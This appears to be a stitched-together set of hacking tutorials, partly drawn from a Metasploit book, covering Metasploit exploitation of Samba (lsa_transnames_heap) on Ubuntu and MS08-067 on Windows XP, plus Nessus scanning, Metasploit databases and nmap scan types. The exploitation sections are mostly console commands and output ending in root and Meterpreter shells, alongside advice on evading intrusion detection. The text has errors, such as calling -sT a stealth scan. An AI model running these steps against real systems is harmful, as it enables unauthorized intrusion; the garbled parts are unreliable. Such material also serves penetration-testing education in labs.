How to Exploiting an Ubuntu Machine!

In my previous tutorial, i was explaining  how to exploit an window
machine. So here we will Exploit an Ubuntu Machine.

The steps are
pretty much the same as for the preceding exploit except that we will
select a different payload.


msf > nmap -sT -A -P0 192.168.1.3


Assume we get three open ports: 80, 139, 445 and  running a version of
Samba 3.x and Apache 2.2.3 with PHP 5.2.1.


Let’s search for a Samba exploit :

msf > search samba
[*] Searching loaded modules for pattern 'samba'...
Auxiliary
=========
Name Rank Description
---- ---- -----------
admin/smb/samba_symlink_traversal normal Samba Symlink Directory Traversal
dos/samba/lsa_addprivs_heap normal Samba lsa_io_privilege_set Heap Overflow
dos/samba/lsa_transnames_heap normal Samba lsa_io_trans_names Heap Overflow
Exploits
========
Name Rank Description
---- ---- -----------
linux/samba/lsa_transnames_heap good Samba lsa_io_trans_names . . .
. . . SNIP . . .
msf > use linux/samba/lsa_transnames_heap
msf exploit(lsa_transnames_heap) > show payloads
Compatible Payloads
===================
Name Rank Description
---- ---- -----------
generic/debug_trap normal Generic x86 Debug Trap
generic/shell_bind_tcp normal Generic Command Shell, Bind TCP Inline
generic/shell_reverse_tcp normal Generic Command Shell, Reverse TCP Inline
linux/x86/adduser normal Linux Add User
linux/x86/chmod normal Linux Chmod
linux/x86/exec normal Linux Execute Command
linux/x86/metsvc_bind_tcp normal Linux Meterpreter Service, Bind TCP
linux/x86/metsvc_reverse_tcp normal Linux Meterpreter Service, Reverse TCP Inline
linux/x86/shell/bind_ipv6_tcp normal Linux Command Shell, Bind TCP Stager (IPv6)
linux/x86/shell/bind_tcp normal Linux Command Shell, Bind TCP Stager
. . . SNIP . . .
msf exploit(lsa_transnames_heap) > set payload linux/x86/shell_bind_tcp
payload => linux/x86/shell_bind_tcp
msf exploit(lsa_transnames_heap) > set LPORT 8080
LPORT => 8080
msf exploit(lsa_transnames_heap) > set RHOST 192.168.1.2
RHOST => 192.168.1.2
msf exploit(lsa_transnames_heap) > exploit
[*] Creating nop sled....
[*] Started bind handler
[*] Trying to exploit Samba with address 0xffff104e...
[*] Connecting to the SMB service...
. . . SNIP . . .
[*] Calling the vulnerable function...
[+] Server did not respond, this is expected
[*] Command shell session 1 opened (192.168.1.3:41551 -> 192.168.1.2:8080)

whoami
root
This type of exploit, called a heap-based attack, takes advantage of
dynamic memory allocation.

How to exploit window machine!

After discussing how to use msfconsole in my previous tutorial,
now let’s exploit our first machine.

I am  use metasploit from within kali-linux and
virtual Windows XP SP2 machine. now We’ll begin by finding
this vulnerability on our own.

First of all run msfconsole, and use  command :

msf > nmap -sT -A --script=smb-check-vulns -P0 192.168.1.2

Here we use nmap’s script discovery of open ports and get ideas about
how you might exploit a particular service. The
-sT is a Stealth TCP connect, which we have found to be the most
reliable flag when trying to enumerate ports.
The -A specifies advanced OS detection, which does some additional
banner grabs and footprinting of a specific service for us.

We’ll assume that our target is vulnerable to MS08-067 exploit.

Let’s walk through the actual exploitation. First the setup:
msf > search ms08_067_netapi
[*] Searching loaded modules for pattern 'ms08_067_netapi'...
Exploits
========
Name Rank Description
---- ---- -----------
windows/smb/ms08_067_netapi great Microsoft Server Service Relative Path Stack
Corruption
msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(ms08_067_netapi) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic Targeting
1 Windows 2000 Universal
2 Windows XP SP0/SP1 Universal
3 Windows XP SP2 English (NX)
4 Windows XP SP3 English (NX)
5 Windows 2003 SP0 Universal
6 Windows 2003 SP1 English (NO NX)
7 Windows 2003 SP1 English (NX)
8 Windows 2003 SP2 English (NO NX)
9 Windows 2003 SP2 English (NX)
. . . SNIP . . .
26 Windows XP SP2 Japanese (NX)
. . . SNIP . . .
msf exploit(ms08_067_netapi) > set TARGET 3
target => 3
msf exploit(ms08_067_netapi) > set RHOST 192.168.1.2
RHOST => 192.168.1.2
msf exploit(ms08_067_netapi) > set LHOST 192.168.1.3
LHOST => 192.168.1.3
msf exploit(ms08_067_netapi) > set LPORT 8080
LPORT => 8080
msf exploit(ms08_067_netapi) > show options
The Joy of Exploitation 67
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.1.2 yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process
LHOST 192.168.1.3 yes The local address
LPORT 8080 yes The local port
Exploit target:
Id Name
-- ----
3 Windows XP SP2 English (NX)

Having set the stage, we’re ready to conduct the actual exploitation:

msf exploit(ms08_067_netapi) > exploit
[*] Started reverse handler on 192.168.1.3:8080
[*] Triggering the vulnerability...
[*] Sending stage (748032 bytes)
[*] Meterpreter session 1 opened (192.168.1.3:8080 -> 192.168.1.2:1487)
msf exploit(ms08_067_netapi) > sessions -l
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter 192.168.1.3:8080 -> 192.168.1.2:1036
msf exploit(ms08_067_netapi) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > shell
Process 4060 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>


Congratulations! You’ve just compromised your first machine!


You can watch video tutorial here...

Scanning with Nessus from Within Metasploit !

First of all, destroy the existing database with the db_destroy command
and create a new one using db_connect .

Load the Nessus plug-in by running load nessus, as shown here:


msf > db_destroy postgres:toor@127.0.0.1/msf3
[*] Warning: You will need to enter the password at the prompts below
Password:
msf > db_connect postgres:toor@127.0.0.1/msf3
msf > load nessus
[*] Nessus Bridge for Metasploit 1.1
[+] Type nessus_help for a command listing
[+] Exploit Index - (/root/.msf3/nessus_index) - is valid.
[*] Successfully loaded plugin: Nessus



Before starting a scan with the Bridge, you first need to authenticate
to your Nessus server using nessus_connect, as shown here:

msf > nessus_connect Rohit:password@192.168.1.101:8834 ok
[*] Connecting to https://192.168.1.101:8834/ as Rohit
[*] Authenticated

As you need to initiate a scan using a defined policy by its policy ID
number. To list the available scan policies
on the server, use nessus_policy_list:

msf > nessus_policy_list

Take note of the policy ID you want to use for your scan, and then
launch a new scan with nessus_scan_new followed by the policy number,
a name for your scan, and your target IP address as shown next:


msf > nessus_scan_new
[*] Usage:
[*] nessus_scan_new <policy id> <scan name> <targets>

[*] use nessus_policy_list to list all available policies

msf > nessus_scan_new 2 bridge_scan 192.168.1.2


While your scan is in progress, you can see its status by running the
nessus_scan_status command. When this command’s output responds
with “No Scans Running ”, you will know that your scan
has completed.

After the scan has completed, you can list the available scan reports
with the nessus_report_list command:


msf > nessus_report_list
msf > nessus_report_get ID

Information Gathering with Metasploit !

Your goals during intelligence gathering should be to gain

accurate information about your targets without revealing

your presence or your intentions, to learn how the

organization operates, and to determine the best route

of entry.

If you don’t do a thorough job of intelligence gathering, you may

miss vulnerable systems.

It takes time and patience to

sort through web pages, perform Google hacking, and map systems

thoroughly in an attempt to understand the infrastructure of a

particular target.

At this step, you will attempt to collect

as much information about the target environment as possible.

 Port Scanning :

we conduct port scans for open ports on

the target or conduct scans to determine what services are running.

Each system or running service that we discover gives us another

opportunity for exploitation. But beware: If you get careless while

active information gathering, you might be nabbed by an IDS or

intrusion prevention system (IPS)—not a good outcome for the covert

penetration tester.

Nmap is, by far, the most popular port scanning tool. It integrates

with Metasploit quite elegantly, storing scan output in a database.

Nmap lets you scan hosts to identify the services running on each,

any of which might offer a way in.

Nmap has a quite a few options, but we’ll use just a few of them for

the most part.

One of our preferred nmap options is -sS. This runs a stealth TCP scan

that determines whether a specific TCP-based port is open. Another

preferred option is -Pn, which tells nmap not to use ping to determine

whether a system is running; instead, it considers all hosts “alive.”

Now let’s run a quick nmap scan against a target using

both the -sS and -Pn flags:

root@kali:~# nmap -sS -Pn 127.0.0.1

When scan is completed, nmap reports a list of open ports, along with

a description of the associated service for each.

For more detail, try using the -A flag. This option will attempt

advanced service enumeration and banner grabbing, which may give you

even more details about the target system.

root@kali:~# nmap -Pn -sS -A 127.0.0.1

Working with Databases in Metasploit :

When you’re running a complex penetration test with a lot of targets,

keeping track of everything can be a challenge. Luckily, Metasploit

has you covered with expansive support for multiple database systems.

To ensure that database support is available for your system, you should

first decide which database system you want to run. Metasploit supports

MySQL and PostgreSQL; because PostgreSQL is the default, we’ll stick with

it in this discussion.

First, we start the database subsystem using the built-in kali-linux

init.d scripts.

root@kali~# /etc/init.d/postgresql-8.3 start

After PostgreSQL has started, we tell the Framework to connect to the

database instance. This connection requires a username, password, name of

the host on which the database is running, and the database name we want to

use.

Let’s make the connection.

msf > db_connect postgres:toor@127.0.0.1/msfbook

For now, we’ll use db_status to make sure that we’re connected

correctly.

Intelligence Gathering 21

msf > db_status
[*] postgresql connected to msfbook

Importing Nmap Results into Metasploit :

First, we scan the target machine using the -oX option to generate

a Subnet1.xml file:

nmap -Pn -sS -A -oX Subnet1 192.168.1.0

After generating the XML file, we use the db_import command to import

it into our database. We can then verify that the import worked by using the

db_hosts command, which lists the systems entries that have been created, as

shown here:

msf > db_connect postgres:toor@127.0.0.1/msf3
msf > db_import Subnet1.xml
msf > db_hosts -c address

Scanning : The first phases of hacking !

Scanning is the first phases of hacking and involve the hacker locating

target systems or networks.

During scanning, the hacker continues to gather information regarding

the network and its individual host systems. Data such as IP addresses,

operating system, services, and installed applications can help the

hacker decide which type of exploit to use in hacking a system.

Basically Scanning is the process of locating systems that are alive

and responding on the network. Ethical hackers use it to identify

target systems’ IP addresses.

If i say in simple words, There are basically three types of scanning :

Port scanning                   Determines open ports and services

Network scanning           IP addresses

Vulnerability scanning     Presence of known weaknesses

In this tutorial, we will discuss about port scanning!

Port scanning :

The aim of port scanning a server is to detect its open ports the

port’s listening services. Once a hacker knows all the services

running on target server, he could search for possible vulnerabilities

they may have and exploit them to take control of your website or system

Before we proceed, let me clear what is CEH Scanning Methodology.

CEH scanning methodology :

:=>   Check for Live Systems
:=>   Check for Open Ports
:=>   Service Identification
:=>   Banner Grabbing /OS Fingerprinting
:=>   Vulnerability Scanning
:=>   Draw Network Diagrams of
:=>   Vulnerable Hosts
:=>   Prepare Proxies
:=>   Attack

Nmap is a free open source tool that quickly and efficiently performs

ping sweeps, port scanning, service identification, IP address

detection, and operating system detection.

(You can download it from here.)

Nmap support several types of scans like :

* TCP connect
* XMAS tree scan
* SYN stealth scan
* Null scan
* Windows scan
* ACK scan

If you want to scan a single system, then you can use a simple command:

nmap 127.0.1.1

If you want to scan the entire subnet, then the command is

nmap 127.0.1.1/24

Now i will explain each scan type :

1. TCP connect or Simple scan :

# TCP connect() Scan [-sT]

This the default scanning technique used.

Keep in mind that this technique is only applicable to find out the

TCP ports, not the UDP ports.

nmap -sT 127.0.1.1

# SYN Stealth Scan [-sS]

It is a basic scan, and it is also called half-open scanning because

this technique allows Nmap to get information from the remote host

without the complete TCP handshake process.

nmap -sS 127.0.1.1

2. FIN, Null and Xmas Tree Scans [-sF, -sN, -sX] :

Sometimes a normal TCP SYN scan is not the best solution because of the

firewall. This is where FIN action comes in action !

The FIN scan sends a packet with only the FIN flag set, the Xmas Tree

scan sets the FIN, URG and PUSH flags and the Null scan sends a packet

with no flags switched on.

These scan types will work against any system where the TCP/IP

implementation follows RFC 793. Microsoft Windows does not follow the

RFC, and will ignore these packets even on closed ports. This

technicality allows you to detect an MS Windows system by running SYN

along with one of these scans. If the SYN scan shows open ports, and

the FIN/NUL/XMAS does not, chances are you’re looking at a Windows box

(though OS Fingerprinting is a much more reliable way of determining

the OS running on a target!)

nmap -sF 127.0.1.1

3. Ping Scan [-sP]

It allows you to detect which computers are online,

rather than which ports are open.

nmap -sP 127.0.1.1

4. UDP Scan [-sU]

5.  IP Protocol Scans [-sO]

6. Idle Scanning [-sI] :

it is an advance scan that provides complete anonymity while scanning.

7. Version Detection (-sV) :

Version detection is the technique that is used to find out what

software version is running on the target computer and on the

respective ports.

This information can be critical in determining an entry point for an

attack.

nmap -sV 127.0.1.1

8. OS Fingerprinting :

One of the most important feature that Nmap has is the ability to

detect remote operating systems and software. It is very helpful

during a penetration test to know about the operating system and the

software used by the remote computer because you can easily predict

the known vulnerabilities from this information.

nmap -O 127.0.1.1

Nmap OS fingerprinting technique discovers the:

    Device type (router, work station, and so on)
    Running (running operating system)
    OS details (the name and the version of OS)
    Network distance (the distance in hops between the target and 
    attacker)

9. Typical Scanning Session :

# We can scan our target using a SYN scan [-sS] and -A to enable OS

fingerprinting and version detection.

nmap -sS -A 127.0.1.1

Now we’ll move on to nmap  

-sS -P0 -A -v 127.0.1.1

we can deduce that target is a Linux system running a 2.4 to 2.6 kernel

with open ports 21/tcp, 22/tcp, 631/tcp and 6000/tcp(Assume).